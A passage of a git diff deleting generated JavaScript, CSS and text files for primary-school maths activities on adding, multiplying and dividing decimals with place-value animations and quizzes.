- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m04/map412m04a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m04/map412m04a02/js/lesson-karma.js
deleted file mode 100755
index 8c0dc94..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:15.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m04/map412m04a02/js/lesson.js b/Save_Mathematics/P4/map412m04/map412m04a02/js/lesson.js
deleted file mode 100755
index 8379359..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a02/js/lesson.js
+++ /dev/null
@@ -1,256 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-};
-
-steps = [phase1,phase2,phase3];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function check_answer(karma) {
-     // check that student has provided correct answer
-     // if not draw()
-     result = $('#solution').val();
-     if (result == solution) {
-        $('#content')
-           .empty()
-           .html('<h3>Congratulations! You got that one right.' +
-                'Press Start to try another.</h3>')
-     } else if (result.length > 0) {
-        message = '<p>Sorry.</p><p>    '+question+' is not '+result+'</p>'+
-               '<p>'+solution+'</p></p><p>Let me try.</p>'
-        $('#content')
-           .empty()
-           .html(message);
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-     };
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  op1 = getRandom(0,999999999)/1000;
-  op2 = getRandom(0,999999999)/1000;
-  question = 'Add: '+op1+' + '+op2
-  solution = op1 + op2
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + "</p>")
-      .appendTo('#content')
-  $("<input name = 'solution' id = 'solution' value = '' type='text'/>")
-      .focus()
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m04/map412m04a02/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m04/map412m04a02/source.txt b/Save_Mathematics/P4/map412m04/map412m04a02/source.txt
deleted file mode 100755
index aa2a269..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a02/source.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-<h1>Guided Practice</h1>
-<!--NG-->
-
-The computer will pose a problem involving the multiplication of a decimal number by a whole number of one or two digits. If the student gives an incorrect answer, the computer will animate the solution using a place value table. The student will continue the activity until satisfied that he/she has mastered the skill. 
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/a.txt b/Save_Mathematics/P4/map412m04/map412m04a03/a.txt
deleted file mode 100755
index 9aab3d5..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/a.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>Requirement: Multiplication of a decimal number by a whole number of 2 digits 
-or more.
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the multiplication of decimal numbers..
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/css/divs.css b/Save_Mathematics/P4/map412m04/map412m04a03/css/divs.css
deleted file mode 100755
index cefafb4..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:13.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m02/map412m02a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m02/map412m02a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/css/lesson.css b/Save_Mathematics/P4/map412m04/map412m04a03/css/lesson.css
deleted file mode 100755
index 2dbb5ae..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/css/lesson.css
+++ /dev/null
@@ -1,6 +0,0 @@
-#quizArea{
-    position:relative;
-    float:left;
-    width: 100%;
-    height: 400px;
-}
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/js/lesson-karma.js b/Save_Mathematics/P4/map412m04/map412m04a03/js/lesson-karma.js
deleted file mode 100755
index fe3a61b..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/js/lesson-karma.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function lesson_karma() {
-    return Karma({
-image: [
-    ],
-audio: [
-    ],
-                 });
-}
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/js/lesson.js b/Save_Mathematics/P4/map412m04/map412m04a03/js/lesson.js
deleted file mode 100755
index 4d12847..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/js/lesson.js
+++ /dev/null
@@ -1,40 +0,0 @@
-function generate_decimal(min,max) {
-  n = Math.random()*(max-min)+min;
-  ntxt = n + ' ';
-  point = ntxt.indexOf('.');
-  whole = ntxt.substring(0,point-1)
-  decimal = ntxt.substring(point+1,point+4)
-  return whole + '.' + decimal;
-};
-
-function generate_opportunity(questions){
-    //build quiz.js
-    quiztxt = '';
-    for (q=0;q<questions;q++){
-        op1 = generate_decimal(.001,999.999);
-        op2 = generate_decimal(.001,999.999);
-        product = (parseFloat(op1) * parseFloat(op2)).toFixed(6);
-        quiztxt = quiztxt + "{ques:'"+op1+" * "+op2+"=', ans:'"+product+"'},\n"
-    };
-    return quiztxt;
-};
-
-function initialize(karma) {
-    quiztxt = generate_opportunity(12);
-    url = window.location+"";
-    $('<div id="txtMain" />')
-        .load('http://localhost:8008/cgi-bin/getFile.py',
-        {'filename':'content/Mathematics/map412m04/map412m04a03/a.txt'})
-        .appendTo('#content');
-    $('<div id="workArea" />')
-        .load('http://localhost:8008/cgi-bin/writeQuiz.py',
-        {'activity':url,'text': quiztxt});
-};
-
-function startGame(karma) {
-    $('<div id="quizArea" />')
-        .appendTo('#content')
-        .jQuizMe(quiz,options)
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/js/quiz.js b/Save_Mathematics/P4/map412m04/map412m04a03/js/quiz.js
deleted file mode 100755
index 387d600..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/js/quiz.js
+++ /dev/null
@@ -1,24 +0,0 @@
-var quiz = {
-fill:[
-{ques:'68.714 * 53.398=', ans:'3669.190172'},
-{ques:'80.773 * 39.032=', ans:'3152.731736'},
-{ques:'43.854 * 2.132=', ans:'93.496728'},
-{ques:'51.735 * 8.258=', ans:'427.227630'},
-{ques:'27.698 * 44.601=', ans:'1235.358498'},
-{ques:'57.491 * 61.502=', ans:'3535.811482'},
-{ques:'24.035 * 81.250=', ans:'1952.843750'},
-{ques:'24.019 * 69.771=', ans:'1675.829649'},
-{ques:'41.912 * 26.590=', ans:'1114.440080'},
-{ques:'24.975 * 35.054=', ans:'875.473650'},
-{ques:'31.109 * 64.194=', ans:'1997.011146'},
-{ques:'5.602 * 84.247=', ans:'471.951694'},
-]
-};
-
-var options = {
-    random:false,
-    allRandom:false,
-    disableRestart:true,
-    disableDelete:true,
-    title: "Opportunity",}
-
diff --git a/Save_Mathematics/P4/map412m04/map412m04a03/source.txt b/Save_Mathematics/P4/map412m04/map412m04a03/source.txt
deleted file mode 100755
index 9aab3d5..0000000
--- a/Save_Mathematics/P4/map412m04/map412m04a03/source.txt
+++ /dev/null
@@ -1,13 +0,0 @@
-<h1>
- Opportunity
-</h1>
-<!--NG-->
-<p>Requirement: Multiplication of a decimal number by a whole number of 2 digits 
-or more.
-<p>
- In this activity, you will have an opportunity to show what you have learned about 
-the multiplication of decimal numbers..
-</p>
-<p>
- Press Start to begin.
-</p>
diff --git a/Save_Mathematics/P4/map412m05/activities.js b/Save_Mathematics/P4/map412m05/activities.js
deleted file mode 100755
index 2b75e3b..0000000
--- a/Save_Mathematics/P4/map412m05/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map4','basic','map412m05a01','blue'],
-['2','2','map4','basic','map412m05a02','blue'],
-['3','3','map4','basic','map412m05a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P4/map412m05/map412m05a01/a.txt b/Save_Mathematics/P4/map412m05/map412m05a01/a.txt
deleted file mode 100755
index 19a68eb..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a01/a.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-<h1>Introduction: Division of a Decimal by a Whole Number.</h1>
-<!--NG-->
-
-The computer will give some examples requiring the division of a decimal by 
-a whole number with one or two digits. 
-
-By putting the numbers in a place value table, the computer will show that 
-the procedure is that same as dividing a whole number by a whole number. The 
-only difference is that the quotient must have a decimal point separating the 
-whole and decimal parts. 
diff --git a/Save_Mathematics/P4/map412m05/map412m05a01/css/divs.css b/Save_Mathematics/P4/map412m05/map412m05a01/css/divs.css
deleted file mode 100755
index b8cfa16..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a01/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a01/description.py
- */
diff --git a/Save_Mathematics/P4/map412m05/map412m05a01/js/lesson-karma.js b/Save_Mathematics/P4/map412m05/map412m05a01/js/lesson-karma.js
deleted file mode 100755
index 3ed4ae7..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a01/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:14.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a01 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a01/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m05/map412m05a01/js/lesson.js b/Save_Mathematics/P4/map412m05/map412m05a01/js/lesson.js
deleted file mode 100755
index 0b6740a..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a01/js/lesson.js
+++ /dev/null
@@ -1,259 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-var caseno, cases, op1, op2;
-caseno = 0;
-cases = [[2.1,2.1],[123.456,654.321]];
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    drawComment(1,10*columnWidth+10,'Expand');
-    drawTotal(2,50+9*columnWidth,true,9);
-    doPhase(1);
-};
-
-function phase2(){
-    //sum columns
-    op1 = ops[0];
-    op2 = ops[1];
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1_decimal.push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    for(i=0;i<dcml;i++){
-        op1d = op1_decimal[i];
-        op2d = op2_decimal[i];
-        sum = parseInt(op1d)+parseInt(op2d);
-        drawNumber(3, 30+(7+i)*columnWidth, sum);
-    };
-    for(i=0;i<whole;i++){
-        op1w = op1_whole[i];
-        op2w = op2_whole[i];
-        sum = parseInt(op1w)+parseInt(op2w);
-       	drawNumber(3, 30+(i+1)*columnWidth, sum);
-    };
-    drawComment(3,10*columnWidth+20,'Sum Columns');
-    drawTotal(3,50+9*columnWidth,true,9);
-    doPhase(2);
-};
-
-function phase3(){
-    operand1 = placeValue(op1);
-    operand2 = placeValue(op2);
-    op1_whole = operand1[0];
-    op1_decimal = operand1[1];
-    op2_whole = operand2[0];
-    op2_decimal = operand2[1];
-    //add leading and trailing zeroes as necessary
-    if(op1_whole.length > op2_whole.length){
-        //add leading zeroes to op2
-        whole = op1_whole.length;
-        for(i=0;i<op1_whole.length-op2_whole.length;i++){
-            op2_whole.unshift(0);
-        };
-    }else if (op1_whole.length< op2_whole.length) {
-        //add leading zeroes to op1
-        whole = op2_whole.length;
-        for(i=0;i<op2_whole.length-op1_whole.length;i++){
-            op1_whole.unshift(0);
-        };
-    }else{
-        whole = op1_whole.length;
-    };
-    if(op1_decimal.length > op2_decimal.length){
-        //add trailing zeroes to op2
-        dcml = op1_decimal.length;
-        for(i=0;i<op1_decimal.length-op2_decimal.length;i++){
-            op2_decimal.push(0);
-        };
-    }else if(op1_decimal.length < op2_decimal.length){
-        //add trailing zeroes to op1
-        dcml = op2_decimal.length;
-        for(i=0;i<op2_decimal.length-op1_decimal.length;i++){
-            op1.decimal_push(0);
-        };
-    }else{
-        dcml = op1_decimal.length;
-    };
-    carry = 0;
-    for(i=dcml;i>0;i--){
-        op1d = op1_decimal[i-1];
-        op2d = op2_decimal[i-1];
-        sum = parseInt(op1d)+parseInt(op2d)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+(6+i)*columnWidth, sum);
-        }else{
-            //we need to carry
-            drawNumber(4, 30+(6+i)*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    for(i=whole;i>0;i--){
-        op1w = op1_whole[i-1];
-        op2w = op2_whole[i-1];
-        sum = parseInt(op1w)+parseInt(op2w)+carry;
-        carry = 0;
-        if(sum<10){
-            drawNumber(4, 30+i*columnWidth, sum);
-        }else{
-            drawNumber(4, 30+i*columnWidth, sum-10);
-            carry = 1;
-        };
-    };
-    if(carry>0){
-        drawNumber(4,0,1);
-    };
-    drawComment(4,10*columnWidth+20,'Regroup');
-};
-
-steps = [phase1,phase2,phase3];
-
-function doPhase(step){
-   $('#content')
-       .one('click',steps[step])
-};
-
-function show_answer(karma) {
-        $('#content')
-           .empty()
-           .html("<p>"+question+"</p>"+
-                 "<p></p>solution: "+solution+"</p>"+
-                 "<p>Let's check it out.</p>"
-           );
-        $('<canvas id="placeValue"/>')
-           .appendTo('#content');
-        draw();
-        doPhase(0);
-};
-
-function startGame(karma) {
-  $('#content')
-      .empty()
-  //build addition problem
-  if(caseno==cases.length){
-      $('#content')
-          .html('<p>That was the last example!</p>'+
-                '<p>Press apply to practice what you have learned.</p>');
-      return;
-  };
-  ops = cases[caseno];
-  caseno += 1;
-  op1 = ops[0];
-  op2 = ops[1];
-  question = 'Add: '+op1+' + '+op2;
-  solution = op1 + op2;
-  $('<div id="workArea"/>')
-      .empty()
-      .html("<p>" + question + " = "+solution+"</p>")
-      .appendTo('#content')
-  $('<canvas id="placeValue" />')
-      .appendTo('#content')
-  show_answer();
-};
-
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map412m05/map412m05a01/a.txt'})
-     .appendTo('#content')
-};
-
-setUpLesson(initialize, startGame);
-
diff --git a/Save_Mathematics/P4/map412m05/map412m05a01/source.txt b/Save_Mathematics/P4/map412m05/map412m05a01/source.txt
deleted file mode 100755
index 19a68eb..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a01/source.txt
+++ /dev/null
@@ -1,10 +0,0 @@
-<h1>Introduction: Division of a Decimal by a Whole Number.</h1>
-<!--NG-->
-
-The computer will give some examples requiring the division of a decimal by 
-a whole number with one or two digits. 
-
-By putting the numbers in a place value table, the computer will show that 
-the procedure is that same as dividing a whole number by a whole number. The 
-only difference is that the quotient must have a decimal point separating the 
-whole and decimal parts. 
diff --git a/Save_Mathematics/P4/map412m05/map412m05a02/a.txt b/Save_Mathematics/P4/map412m05/map412m05a02/a.txt
deleted file mode 100755
index 365a53a..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-<h1>Guided Practice: Division of a Decimal by a Whole Number</h1>
-<!--NG-->
-The computer will pose a problem involving the division of a decimal number by 
-a whole number of one or two digits. If the student gives an incorrect answer, the 
-computer will animate the solution using a place value table. 
diff --git a/Save_Mathematics/P4/map412m05/map412m05a02/css/divs.css b/Save_Mathematics/P4/map412m05/map412m05a02/css/divs.css
deleted file mode 100755
index 9bc62bc..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a02/css/divs.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:15.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a02/description.py
- */
diff --git a/Save_Mathematics/P4/map412m05/map412m05a02/js/lesson-karma.js b/Save_Mathematics/P4/map412m05/map412m05a02/js/lesson-karma.js
deleted file mode 100755
index 8c0dc94..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a02/js/lesson-karma.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * This file was generated by ./generate-karma-activity.py on 2010/12/20 20:59:15.
- * Do not edit.
- * cwd: /home/tony/Desktop/git/pg42-karma-generator-d3cd804
- * command: ./generate-karma-activity.py -k ../../../ -o /home/tony/Desktop/master/Mathematics2/map412/map412m04/map412m04a02 /home/tony/Desktop/git/newcontent/Mathematics2/map412/map412m04/map412m04a02/description.py
- */
-function lesson_karma() {
-    return Karma({image: [],
-                  audio: []});
-}
diff --git a/Save_Mathematics/P4/map412m05/map412m05a02/js/lesson.js b/Save_Mathematics/P4/map412m05/map412m05a02/js/lesson.js
deleted file mode 100755
index fc2e9d5..0000000
--- a/Save_Mathematics/P4/map412m05/map412m05a02/js/lesson.js
+++ /dev/null
@@ -1,256 +0,0 @@
-//show addition by expanding operands, summing columns and regrouping
-
-function compare_by_digit(op1_whole,op1_decimal,op2_whole,op2_decimal){
-    if (op1_whole.length != op2_whole.length){
-        return 0;
-    };
-    for (i=0;i<op1_whole.length;i++){
-        if(op1_whole[i]!=op2_whole[i]){
-            return i;
-        }
-    };
-    for (i=0;i<op1_decimal.length;i++){
-        if(op1_decimal[i]!=op2_decimal[i]){
-            return op1_whole.length + i;
-        }
-    };
-    if(op1_decimal.length>op2_decimal.length){
-        return op1_decimal.length;
-    }else if(op1_decimal.length<op2.decimal.length){
-        return op2_decimal.length;
-    }
-    return -1;
-};
-
-function placeValue(operand){
-    operand_string = operand+"";
-    operandwd = operand_string.split('.');
-    operandw = operandwd[0];
-    operandd = operandwd[1];
-    operand_whole = operandw.split("");
-    operand_decimal = operandd.split("");;
-    return [operand_whole,operand_decimal];
-};
-
-function swap(list,op1,op2){
-    drawBlanks(op1+1,9);
-    operand = placeValue(list[op2]);    
-    drawDigits(op1+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op1+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op1+1,50,op2+1+"",'black');
-    drawBlanks(op2+1,9);
-    operand = placeValue(list[op1]);
-    drawDigits(op2+1,50+6*columnWidth,operand[0]);
-    pos = operand[1].length;
-    drawDigits(op2+1,50+(6+pos)*columnWidth,operand[1]);
-    drawHighlight(op2+1,50,op1+1+"",'black');
-    save = list[op1];
-    list[op1] = list[op2];
-    list[op2] = save;
-};
-
-function phase1(){
-    //expand operands
-    txtComment = question;
-    drawComment(0,0, txtComment);
-    operand = placeValue(op1);
-    operand1_whole = operand[0];
-    operand1_decimal = operand[1];
-    drawDigits(1,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(1,50+(6+pos)*columnWidth,operand_decimal.reverse());
-    operand = placeValue(op2);
-    operand2_whole = operand[0];
-    operand2_decimal = operand[1];
-    drawDigits(2,50+6*columnWidth,operand_whole.reverse());
-    pos = operand_decimal.length;
-    drawDigits(2,50+(6+pos)*columnWidth,operand_decimal.reverse());
